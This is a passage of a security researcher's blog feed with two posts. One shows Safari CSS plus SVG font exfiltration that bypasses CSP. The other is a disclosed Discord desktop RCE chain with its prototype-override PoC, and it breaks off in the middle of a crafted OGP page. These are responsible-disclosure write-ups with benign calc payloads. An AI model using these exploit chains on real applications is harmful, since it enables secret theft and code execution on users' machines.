{"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blogger/2008","xmlns$georss":"http://www.georss.org/georss","xmlns$gd":"http://schemas.google.com/g/2005","xmlns$thr":"http://purl.org/syndication/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925"},"updated":{"$t":"2026-11-30T22:06:18.787-08:00"},"category":[{"term":"Security"},{"term":"XSS"},{"term":"IE"},{"term":"VRP"},{"term":"XSSFilter"},{"term":"Chrome"},{"term":"Firefox"},{"term":"Flash"},{"term":"Safari"},{"term":"Slides"},{"term":"CSP"},{"term":"CSS"},{"term":"Edge"},{"term":"JavaScript"},{"term":"OSS"},{"term":"XSSAuditor"},{"term":"Electron"},{"term":"Encodings"},{"term":"MixedContent"},{"term":"RCE"},{"term":"SVG"},{"term":"jQuery"}],"title":{"type":"text","$t":"MKSB(en)"},"subtitle":{"type":"html","$t":"Masato Kinugawa's Security Blog \/ \u003Ca href=\"https:\/\/twitter.com\/kinugawamasato\"\u003E@kinugawamasato\u003C\/a\u003E"},"link":[{"rel":"http://schemas.google.com/g/2005#feed","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/posts\/default"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default?alt=json"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/"},{"rel":"hub","href":"http://pubsubhubbub.appspot.com/"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"generator":{"version":"7.00","uri":"http://www.blogger.com","$t":"Blogger"},"openSearch$totalResults":{"$t":"18"},"openSearch$startIndex":{"$t":"1"},"openSearch$itemsPerPage":{"$t":"25"},"entry":[{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-7470537978648351371"},"published":{"$t":"2021-11-28T00:58:00.002-08:00"},"updated":{"$t":"2024-05-02T04:17:10.203-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"CSP"},{"scheme":"http://www.blogger.com/atom/ns#","term":"CSS"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Safari"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"SVG"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":"Data Exfiltration via CSS + SVG Font"},"content":{"type":"html","$t":"\u003Cp\u003EThis post will show that the SVG fonts and CSS can be used for reading the page's text contents.\u003C\/p\u003E\u003Cp\u003EThere are several known ways to read the page's text contents with CSS. The known techniques are well covered in the following article by Juan Manuel Fernández:\u003C\/p\u003E\u003Cp\u003E\u003Ca href=\"https:\/\/x-c3ll.github.io\/posts\/CSS-Injection-Primitives\/\"\u003ECSS Injection Primitives :: DoomsDay Vault\u003C\/a\u003E\u003C\/p\u003E\u003Cp\u003EThese techniques can be useful to attackers in some situations, for example, when the input is sanitized and only limitted HTML tags can be used, or JavaScript cannot be used due to the Content Security Policy (CSP) restrictions.\u003C\/p\u003E\u003Cp\u003EThe technique I want to introduce today is one such technique. The basic idea is the same as the following font ligature trick by Michał\u0026nbsp;Bentkowski.\u003C\/p\u003E\u003Cp\u003E\u003Ca href=\"https:\/\/research.securitum.com\/stealing-data-in-great-style-how-to-use-css-to-attack-web-application\/\"\u003EStealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com\u003C\/a\u003E\u003C\/p\u003E\u003Cp\u003EIt is the mostly same\u0026nbsp;but I've never seen any article mentioning this and I thought it is worth mentioning because the technique I'll explain here can be useful in the specific situation such as when Michał's technique cannot be used due to the CSP's restriction, so I'm writing this.\u003C\/p\u003E\u003Cp\u003EWell, \u003Ca href=\"https:\/\/masatokinugawa.l0.cm\/2021\/11\/css-exfiltration-svg-font.html\"\u003Ein my Japanese blog post\u003C\/a\u003E, around here, I explained Michał's trick in detail in my words but the person who is reading this can read English, so please read his\u0026nbsp;article first :)\u003C\/p\u003E\u003Cp\u003EOkay, you've read it, right? As you learned from his article, he used WOFF fonts convereted from SVG fonts. In my trick, I use SVG fonts without converting it. Michał said \"browsers have stopped supporting the SVG format in fonts (hence the need to use the WOFF format)\" but in fact, Safari still supports it.\u0026nbsp;After all, the trick I am about to introduce is just a replacement of his trick with SVG fonts.\u0026nbsp;But still, the reason I want to dare to introduce this trick is that SVG fonts can be used even when loading fonts is blocked by the CSP's restriction. That is, SVG fonts allow reading text contents even on pages where the CSP prohibits loading fonts. This is because SVG fonts can not only be loaded from URLs, like WOFF fonts, but also all font's components can be defined with in-line without loading from URLs.\u003C\/p\u003E\u003Cp\u003ELet's see how Michał's trick can be replaced.\u003C\/p\u003E\u003Cp\u003EIn his trick, the WOFF font is loaded via \u0026lt;style\u0026gt;'s @font-face.\u003C\/p\u003E\u003Cblockquote class=\"tr_bq nowrap\"\u003E\u0026lt;style\u0026gt;\u003Cbr \/\u003E@font-face {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;font-family: \"hack\";\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;src: url(http:\/\/192.168.13.37:3001\/font\/%22\/0)\u003Cbr \/\u003E}\u003Cbr \/\u003E[...]\u003Cbr \/\u003E\u0026lt;\/style\u0026gt;\u003C\/blockquote\u003E\u003Cp\u003EThis style can be replaced with the following inline SVG.\u003C\/p\u003E\u003Cblockquote class=\"tr_bq nowrap\"\u003E\u0026lt;svg\u0026gt;\u003Cbr \/\u003E\u0026lt;defs\u0026gt;\u003Cbr \/\u003E\u0026lt;font horiz-adv-x=\"0\"\u0026gt;\u003Cbr \/\u003E\u0026lt;font-face font-family=\"hack\" units-per-em=\"1000\"\u0026gt;\u0026lt;\/font-face\u0026gt;\u003Cbr \/\u003E\u0026lt;glyph unicode=\"\u0026amp;quot;0\" horiz-adv-x=\"99999\" d=\"M1 0z\"\u0026gt;\u0026lt;\/glyph\u0026gt;\u003Cbr \/\u003E\u0026lt;glyph unicode=\"1\" horiz-adv-x=\"0\" d=\"M1 0z\"\u0026gt;\u0026lt;\/glyph\u0026gt;\u003Cbr \/\u003E\u0026lt;glyph unicode=\"2\" horiz-adv-x=\"0\" d=\"M1 0z\"\u0026gt;\u0026lt;\/glyph\u0026gt;\u003Cbr \/\u003E\u0026lt;glyph unicode=\"3\" horiz-adv-x=\"0\" d=\"M1 0z\"\u0026gt;\u0026lt;\/glyph\u0026gt;\u003Cbr \/\u003E\u0026lt;glyph unicode=\"4\" horiz-adv-x=\"0\" d=\"M1 0z\"\u0026gt;\u0026lt;\/glyph\u0026gt;\u003Cbr \/\u003E\u0026lt;glyph unicode=\"5\" horiz-adv-x=\"0\" d=\"M1 0z\"\u0026gt;\u0026lt;\/glyph\u0026gt;\u003Cbr \/\u003E[...]\u003Cbr \/\u003E\u0026lt;\/font\u0026gt;\u003Cbr \/\u003E\u0026lt;\/defs\u0026gt;\u003Cbr \/\u003E\u0026lt;\/svg\u0026gt;\u003C\/blockquote\u003E\u003Cp\u003ENow, if the font-family property is set to \"hack\" via CSS, the SVG font is applied to the target's text even outside the SVG. This is not blocked by CSP even if the font-src 'none' is set. (Note that to observe the leaked data, this trick uses the background image request as well as Michał's\u0026nbsp;trick, so at least, the host which can observe the request must be allowed in the img-src directive.)\u003C\/p\u003E\u003Cp\u003EI'll show you the PoC. When there is a vulnerable page like the following,\u003C\/p\u003E\u003Cp\u003E\u003Ca href=\"https:\/\/vulnerabledoma.in\/svg_font\/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C\/script%3E\"\u003Ehttps:\/\/vulnerabledoma.in\/svg_font\/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C\/script%3E\u003C\/a\u003E\u003C\/p\u003E\u003Cblockquote class=\"tr_bq nowrap\"\u003E\u0026lt;!DOCTYPE html\u0026gt;\u003Cbr \/\u003E\u0026lt;html\u0026gt;\u003Cbr \/\u003E\u0026lt;head\u0026gt;\u003Cbr \/\u003E\u0026lt;meta charset=\"utf-8\"\u0026gt;\u003Cbr \/\u003E\u0026lt;meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:\"\u0026gt;\u003Cbr \/\u003E\u0026lt;\/head\u0026gt;\u003Cbr \/\u003E\u0026lt;body\u0026gt;\u003Cbr \/\u003E\u0026lt;script id=\"leakme\" nonce=\"random\"\u0026gt;\u003Cbr \/\u003Econst secret = \"573ba8e9bfd0abd3d69d8395db582a9e\";\u003Cbr \/\u003E\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\u003Cbr \/\u003E\u0026lt;script nonce=\"random\"\u0026gt;\u003Cbr \/\u003Econst params = (new URL(document.location)).searchParams;\u003Cbr \/\u003Econst xss = params.get('xss');\u003Cbr \/\u003Eif(xss){\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;document.write(xss);\u003Cbr \/\u003E}\u003Cbr \/\u003E\u0026lt;\/script\u0026gt;\u003Cbr \/\u003E\u0026lt;\/body\u0026gt;\u003Cbr \/\u003E\u0026lt;\/html\u0026gt;\u003C\/blockquote\u003E\u003Cp\u003EI'll show you SVG fonts can leak the \"secret\" variable.\u003C\/p\u003E\u003Cp\u003EYou can reproduce it by opening the following URL with Safari and clicking the \"Go\" button.\u0026nbsp;\u003C\/p\u003E\u003Cp\u003EPoC:\u0026nbsp;\u003Ca href=\"https:\/\/l0.cm\/svg_font\/poc.php\"\u003Ehttps:\/\/l0.cm\/svg_font\/poc.php\u003C\/a\u003E\u003C\/p\u003E\u003Cp\u003EThe all code can be found in: \u003Ca href=\"https:\/\/github.com\/masatokinugawa\/css-exfiltration-svg-font\"\u003Ehttps:\/\/github.com\/masatokinugawa\/css-exfiltration-svg-font\u003C\/a\u003E\u003C\/p\u003E\u003Cp\u003EIf the PoC works correctly, like the following video, multiple new windows will open and after waiting for a while, the secret variable's string will be displayed little by little, like \"573b ...\" on the page having the \"Go\" button.\u003C\/p\u003E\n\u003Ciframe allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\" frameborder=\"0\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/iUzNA2St3Bc\" title=\"YouTube video player\" width=\"560\"\u003E\u003C\/iframe\u003E\n\u003Cp\u003EIt's almost the same as Michał's PoC, except that it uses SVG fonts, but there are a few changes. In his PoC, he loads the target page into the iframe but in my PoC, I used window.open() instead. This is because \u003Ca href=\"https:\/\/webkit.org\/blog\/10218\/full-third-party-cookie-blocking-and-more\/\"\u003ESafari blocks all third party cookies by default\u003C\/a\u003E now and I thought the attack using the iframe is not so realistic PoC for Safari. Also, I changed the way to pass the data.\u0026nbsp; Here again, due to the third party cookie blocking, the cookie can not be set when the background image is loaded, so I used the session id with the URL parameter instead.\u0026nbsp;\u003C\/p\u003E\u003Cp\u003EBy the way, if you're used to Chrome, you might wonder why multiple new windows are opened by one click. This is because Safari have the popup blocker but there is no limit to the number of windows that can be opened by one click. Thanks to this, it is possible to efficiently try to read the data using multiple windows.\u0026nbsp;\u003C\/p\u003E\u003Cp\u003E\u003Cspan style=\"background-color: white; font-family: Roboto; font-size: 16px;\"\u003EThat's it.\u0026nbsp;\u003C\/span\u003E\u003Cspan style=\"font-family: Roboto;\"\u003EThanks for reading! I hope this post\u0026nbsp;helps you out.\u003C\/span\u003E\u003C\/p\u003E"},"link":[{"rel":"replies","type":"application/atom+xml","href":"https:\/\/mksben.l0.cm\/feeds\/7470537978648351371\/comments\/default","title":"Post Comments"},{"rel":"replies","type":"text/html","href":"https:\/\/mksben.l0.cm\/2021\/11\/css-exfiltration-svg-font.html#comment-form","title":"73 Comments"},{"rel":"edit","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/7470537978648351371"},{"rel":"self","type":"application/atom+xml","href":"https:\/\/www.blogger.com\/feeds\/3090823890722032925\/posts\/default\/7470537978648351371"},{"rel":"alternate","type":"text/html","href":"https:\/\/mksben.l0.cm\/2021\/11\/css-exfiltration-svg-font.html","title":"Data Exfiltration via CSS + SVG Font"}],"author":[{"name":{"$t":"Unknown"},"email":{"$t":"noreply@blogger.com"},"gd$image":{"rel":"http://schemas.google.com/g/2005#thumbnail","width":"16","height":"16","src":"https:\/\/img1.blogblog.com\/img\/b16-rounded.gif"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"https:\/\/img.youtube.com\/vi\/iUzNA2St3Bc\/default.jpg","height":"72","width":"72"},"thr$total":{"$t":"73"}},{"id":{"$t":"tag:blogger.com,1999:blog-3090823890722032925.post-6054437144226106686"},"published":{"$t":"2020-10-17T08:24:00.003-07:00"},"updated":{"$t":"2020-10-18T00:42:57.864-07:00"},"category":[{"scheme":"http://www.blogger.com/atom/ns#","term":"Electron"},{"scheme":"http://www.blogger.com/atom/ns#","term":"JavaScript"},{"scheme":"http://www.blogger.com/atom/ns#","term":"RCE"},{"scheme":"http://www.blogger.com/atom/ns#","term":"Security"},{"scheme":"http://www.blogger.com/atom/ns#","term":"VRP"},{"scheme":"http://www.blogger.com/atom/ns#","term":"XSS"}],"title":{"type":"text","$t":" Discord Desktop app RCE"},"content":{"type":"html","$t":"\u003Cp\u003EA few months ago, I discovered a remote code execution issue in the \u003Ca href=\"https:\/\/discord.com\/\"\u003EDiscord\u003C\/a\u003E desktop application and I reported it via their \u003Ca href=\"https:\/\/discord.com\/security\"\u003EBug Bounty Program\u003C\/a\u003E.\u003C\/p\u003E\u003Cp\u003EThe RCE I found was an interesting one because it is achieved by combining multiple bugs. In this article, I'd like to share the details.\u003C\/p\u003E\u003Ch3\u003EWhy I chose Discord for the target\u003C\/h3\u003E\u003Cp\u003EI kind of felt like finding for vulnerabilities of the Electron app, so I was looking for a bug bounty program which pays the bounty for an Electron app and I found Discord. Also, I am a Discord user and simply wanted to check if the app I'm using is secure, so I decided to investigate.\u003C\/p\u003E\u003Ch3\u003EBugs I found\u003C\/h3\u003E\u003Cp\u003EBasically I found the following three bugs and achieved RCE\u0026nbsp;by combining them.\u003C\/p\u003E\u003Cp\u003E\u003C\/p\u003E\u003Col\u003E\u003Cli\u003EMissing contextIsolation\u003C\/li\u003E\u003Cli\u003EXSS in iframe embeds\u003C\/li\u003E\u003Cli\u003ENavigation restriction bypass (CVE-2020-15174)\u003C\/li\u003E\u003C\/ol\u003E\u003Cp\u003E\u003C\/p\u003E\u003Cp\u003EI'll explain these bugs one by one.\u003C\/p\u003E\u003Ch3\u003EMissing contextIsolation\u003C\/h3\u003E\u003Cp\u003EWhen I test Electron app, first I always check the options of the \u003Ca href=\"https:\/\/www.electronjs.org\/docs\/api\/browser-window\"\u003EBrowserWindow API\u003C\/a\u003E, which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.\u003C\/p\u003E\u003Cp\u003EThe Discord's Electron app is not an open source project but the Electron's JavaScript code is saved locally with the asar format and I was able to read it just by extracting it.\u003C\/p\u003E\u003Cp\u003EIn the main window, the following options are used:\u0026nbsp;\u003C\/p\u003E\u003Cblockquote class=\"tr_bq nowrap\"\u003Econst mainWindowOptions = {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;title: 'Discord',\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;backgroundColor: getBackgroundColor(),\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;width: DEFAULT_WIDTH,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;height: DEFAULT_HEIGHT,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;minWidth: MIN_WIDTH,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;minHeight: MIN_HEIGHT,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;transparent: false,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;frame: false,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;resizable: true,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;show: isVisible,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;webPreferences: {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;blinkFeatures: 'EnumerateDevices,AudioOutputDevices',\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u003Cspan style=\"background-color: #fcff01;\"\u003E\u003Cb\u003EnodeIntegration: false\u003C\/b\u003E\u003C\/span\u003E,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;nativeWindowOpen: true,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;enableRemoteModule: false,\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;spellcheck: true\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;}\u003Cbr \/\u003E};\u003C\/blockquote\u003E\u003Cp\u003EThe important options which we should check here are especially \u003Ci\u003EnodeIntegration\u003C\/i\u003E and \u003Ci\u003EcontextIsolation\u003C\/i\u003E. From the above code, I found that the \u003Ci\u003EnodeIntegration\u003C\/i\u003E option is set to false and the \u003Ci\u003EcontextIsolation\u003C\/i\u003E option is set to false (the default of the used version) in the Discord's main window.\u003C\/p\u003E\u003Cp\u003EIf the nodeIntegration is set to true, a web page's JavaScript can use Node.js features easily just by calling the \u003Ccode\u003Erequire()\u003C\/code\u003E. For example, the way to execute the calc application on Windows is:\u003C\/p\u003E\u003Cblockquote class=\"tr_bq\"\u003E\u0026lt;script\u0026gt;\u003Cbr \/\u003E\u0026nbsp; require('child_process').exec('calc');\u003Cbr \/\u003E\u0026lt;\/script\u0026gt;\u003C\/blockquote\u003E\u003Cp\u003EIn this time, the \u003Ci\u003EnodeIntegration\u003C\/i\u003E was set to false, so I couldn't use Node.js features by calling the \u003Ccode\u003Erequire()\u003C\/code\u003E directly.\u003C\/p\u003E\u003Cp\u003EHowever, there is still a possibility of access to Node.js features. The \u003Ci\u003EcontextIsolation\u003C\/i\u003E, another important option, was set to false. This option should not be set to false if you want to eliminate the possibility of RCE on your app.\u003C\/p\u003E\u003Cp\u003EIf the \u003Ci\u003EcontextIsolation\u003C\/i\u003E is disabled, a web page's JavaScript can affect the execution of the \u003Ca href=\"https:\/\/github.com\/electron\/electron\/tree\/83bb065b4f6ed512d545c46389a7fdc114c94a54\/lib\/renderer\"\u003EElectron's internal JavaScript code on the renderer\u003C\/a\u003E, and preload scripts (In the following, these JavaScript will be referred to as the JavaScript code outside web pages).\u0026nbsp;For example, if you override\u0026nbsp; \u003Ccode\u003EArray.prototype.join\u003C\/code\u003E, one of the JavaScript built-in methods, with another function from a web page's JavaScript, the JavaScript code outside web pages also will use the overridden function when the \u003Ccode\u003Ejoin\u003C\/code\u003E is called.\u003C\/p\u003E\u003Cp\u003EThis behavior is dangerous because Electron allows the JavaScript code outside web pages to use the Node.js features regardless the \u003Ci\u003EnodeIntegration\u003C\/i\u003E option and by interfering with them from the function overridden in the web page, it could be possible to achieve RCE even if the \u003Ci\u003EnodeIntegration\u003C\/i\u003E is set to false.\u003C\/p\u003E\u003Cdiv\u003EBy the way, a such trick was previously not known. It was first discovered in a pentest by Cure53, which I also joined in, in 2016. After that, we reported it to Electron team and the \u003Ci\u003EcontextIsolation\u003C\/i\u003E was introduced.\u003C\/div\u003E\u003Cp\u003ERecently, that pentest report was published. If you are interested, you can read it from the following link:\u003C\/p\u003E\u003Cp\u003EPentest-Report Ethereum Mist 11.2016 - 10.2017\u003Cbr \/\u003E\u003Ca href=\"https:\/\/drive.google.com\/file\/d\/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH\/view\"\u003Ehttps:\/\/drive.google.com\/file\/d\/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH\/view\u003C\/a\u003E\u003C\/p\u003E\u003Cp\u003EYou can also read the slides which I used at a CureCon event:\u003C\/p\u003E\u003Cscript async=\"\" class=\"speakerdeck-embed\" data-id=\"ad6409b826fc4f0ea457b2676fc61f16\" data-ratio=\"1.33333333333333\" src=\"\/\/speakerdeck.com\/assets\/embed.js\"\u003E\u003C\/script\u003E\u003Cp\u003E\u003Cbr \/\u003E\u003C\/p\u003E\u003Cp\u003EThe \u003Ci\u003EcontextIsolation\u003C\/i\u003E introduces the separated contexts between the web page and the JavaScript code outside web pages so that the JavaScript execution of each code does not affect each. This is a necessary faeture to eliminate the possibility of RCE, but this time it was disabled in Discord.\u003C\/p\u003E\u003Cp\u003ENow I found that the \u003Ci\u003EcontextIsolation\u003C\/i\u003E is disabled, so I started looking for a place where I could execute arbitrary code by interfering with the JavaScript code outside web pages.\u003C\/p\u003E\u003Cp\u003EUsually, when I create a PoC for RCE in the Electron's pentests, I first try to achieve RCE by using the Electron's internal JavaScript code on the renderer. This is because the Electron's internal JavaScript code on the renderer can be executed in any Electron app, so basically I can reuse the same code to achieve RCE and it's easy.\u003C\/p\u003E\u003Cp\u003EIn my slides, \u003Ca href=\"https:\/\/speakerdeck.com\/masatokinugawa\/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41\"\u003EI introduced\u003C\/a\u003E that RCE can be achieved by using the code which Electron executes at the navigation timing. It's not only possible from that code but there are such code in some places. (I'd like to publish examples of the PoC in the future.)\u003C\/p\u003E\u003Cp\u003EHowever, depending on the version of Electron used, or the \u003Ci\u003EBrowserWindow\u003C\/i\u003E option which is set, because the code has been changed or the affected code can't be reached correctly, sometimes PoC via the Electron's code does not work well. In this time, it did not work, so I decided to change the target to the preload scripts.\u003C\/p\u003E\u003Cdiv\u003E\u003Cdiv\u003EWhen checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via \u003Ccode\u003EDiscordNative.nativeModules.requireModule('MODULE-NAME')\u003C\/code\u003E, into the web page.\u003C\/div\u003E\u003C\/div\u003E\u003Cdiv\u003E\u003Cbr \/\u003E\u003C\/div\u003E\u003Cdiv\u003EHere, I couldn't use modules that can be used for RCE directly, such as \u003Ci\u003Echild_process\u003C\/i\u003E module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.\u003C\/div\u003E\u003Cp\u003EThe following is the PoC. I was able to confirm that the calc application is popped up when I call the \u003Ccode\u003EgetGPUDriverVersions\u003C\/code\u003E function which is defined in the module called \"\u003Ci\u003Ediscord_utils\u003C\/i\u003E\" from devTools, while overriding the \u003Ccode\u003ERegExp.prototype.test\u003C\/code\u003E and \u003Ccode\u003EArray.prototype.join\u003C\/code\u003E.\u003C\/p\u003E\u003Cblockquote class=\"tr_bq nowrap\"\u003ERegExp.prototype.test=function(){\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;return false;\u003Cbr \/\u003E}\u003Cbr \/\u003EArray.prototype.join=function(){\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;return \"calc\";\u003Cbr \/\u003E}\u003Cbr \/\u003EDiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();\u003C\/blockquote\u003E\u003Cp\u003EThe \u003Ccode\u003EgetGPUDriverVersions\u003C\/code\u003E function tries to execute the program by using the \"\u003Ci\u003Eexeca\u003C\/i\u003E\" library, like the following:\u003C\/p\u003E\u003Cblockquote class=\"tr_bq nowrap\"\u003Emodule.exports.getGPUDriverVersions = async () =\u0026gt; {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;if (process.platform !== 'win32') {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;return {};\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;}\u003Cbr \/\u003E\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;const result = {};\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;const nvidiaSmiPath = `${process.env['ProgramW6432']}\/NVIDIA Corporation\/NVSMI\/nvidia-smi.exe`;\u003Cbr \/\u003E\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;try {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;} catch (e) {\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;result.nvidia = {error: e.toString()};\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;}\u003Cbr \/\u003E\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;return result;\u003Cbr \/\u003E};\u003C\/blockquote\u003E\u003Cp\u003EUsually the \u003Ci\u003Eexeca\u003C\/i\u003E tries to execute \"\u003Ci\u003Envidia-smi.exe\u003C\/i\u003E\", which is specified in the \u003Ccode\u003EnvidiaSmiPath\u003C\/code\u003E variable, however, due to the overridden \u003Ccode\u003ERegExp.prototype.test\u003C\/code\u003E and \u003Ccode\u003EArray.prototype.join\u003C\/code\u003E, the argument is replaced to \"\u003Ci\u003Ecalc\u003C\/i\u003E\" in the \u003Ci\u003Eexeca\u003C\/i\u003E's internal processing.\u003C\/p\u003E\u003Cp\u003ESpecifically, the argument is replaced by changing the following two parts.\u003C\/p\u003E\u003Cp\u003E\u003Ca href=\"https:\/\/github.com\/moxystudio\/node-cross-spawn\/blob\/16feb534e818668594fd530b113a028c0c06bddc\/lib\/parse.js#L36\"\u003Ehttps:\/\/github.com\/moxystudio\/node-cross-spawn\/blob\/16feb534e818668594fd530b113a028c0c06bddc\/lib\/parse.js#L36\u003C\/a\u003E\u003C\/p\u003E\u003Cp\u003E\u003Ca href=\"https:\/\/github.com\/moxystudio\/node-cross-spawn\/blob\/16feb534e818668594fd530b113a028c0c06bddc\/lib\/parse.js#L55\"\u003Ehttps:\/\/github.com\/moxystudio\/node-cross-spawn\/blob\/16feb534e818668594fd530b113a028c0c06bddc\/lib\/parse.js#L55\u003C\/a\u003E\u003C\/p\u003E\u003Cp\u003EThe remaining work is to find a way to execute JavaScript on the application. If I can find it, it leads to actual RCE.\u003C\/p\u003E\u003Ch3\u003EXSS in iframe embeds\u003C\/h3\u003E\u003Cp\u003EAs explained above, I found that RCE could happen from arbitrary JavaScript execution, so I was trying to find an XSS vulnerability. The app supports the autolink or Markdown feature, but looked like it is good. So I turned my attention to the iframe embeds feature. The iframe embeds is the feature which automatically displays the video player on the chat when the YouTube URL is posted, for example.\u003C\/p\u003E\u003Cp\u003EWhen the URL is posted, Discord tries to get the \u003Ca href=\"https:\/\/ogp.me\/\"\u003EOGP\u003C\/a\u003E information of that URL and if there is the OGP information, it displays the page's title, description, thumbnail image, associated video and so on in the chat.\u003C\/p\u003E\u003Cp\u003EThe Discord extracts the video URL from the OGP and only if the video URL is allowed domain and the URL has actually the URL format of the embeds page, the URL is embedded in the iframe.\u003C\/p\u003E\u003Cp\u003EI couldn't find the documentation about which services can be embedded in the iframe, so I tried to get a hint by checking the CSP's \u003Ci\u003Eframe-src\u003C\/i\u003E directive. At that time, the following CSP was used:\u003C\/p\u003E\u003Cblockquote class=\"tr_bq\"\u003EContent-Security-Policy: [...] ; frame-src https:\/\/*.youtube.com https:\/\/*.twitch.tv https:\/\/open.spotify.com https:\/\/w.soundcloud.com https:\/\/sketchfab.com https:\/\/player.vimeo.com https:\/\/www.funimation.com https:\/\/twitter.com https:\/\/www.google.com\/recaptcha\/ https:\/\/recaptcha.net\/recaptcha\/ https:\/\/js.stripe.com https:\/\/assets.braintreegateway.com https:\/\/checkout.paypal.com https:\/\/*.watchanimeattheoffice.com\u003C\/blockquote\u003E\u003Cp\u003EObviously, some of them are listed to allow iframe embeds (e.g. YouTube, Twitch, Spotify).\u0026nbsp;I tried to check if the URL can be embeded in the iframe by specifying the domain into the OGP information one by one and tried to find XSS on the embedded domains. After some attempts, I found that the\u0026nbsp;\u003Ca href=\"https:\/\/sketchfab.com\"\u003Esketchfab.com\u003C\/a\u003E, which is one of the domains listed in the CSP, can be embedded in the iframe and found XSS on the embeds page.\u0026nbsp;I didn't know about Sketchfab at that time, but it seems that it is a platform in which users can publish, buy and sell 3D models. There was a simple DOM-based XSS in the footnote of the 3D model.\u003C\/p\u003E\u003Cp\u003EThe following is the PoC, which has the crafted OGP. When I posted this URL to the chat, the Sketchfab was embedded into the iframe on the chat, and after a few clicks on the iframe, arbitrary JavaScript was executed.\u003C\/p\u003E\u003Cp\u003E\u003Ca href=\"https:\/\/l0.cm\/discord_rce_og.html\"\u003Ehttps:\/\/l0.cm\/discord_rce_og.html\u003C\/a\u003E\u003C\/p\u003E\u003Cblockquote class=\"tr_bq nowrap\"\u003E\u0026lt;head\u0026gt;\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;meta charset=\"utf-8\"\u0026gt;\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026lt;meta property=\"og:title\" content=\"RCE DEMO\"\u0026gt;\u003Cbr \/\u003E\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;[...]\u003Cbr 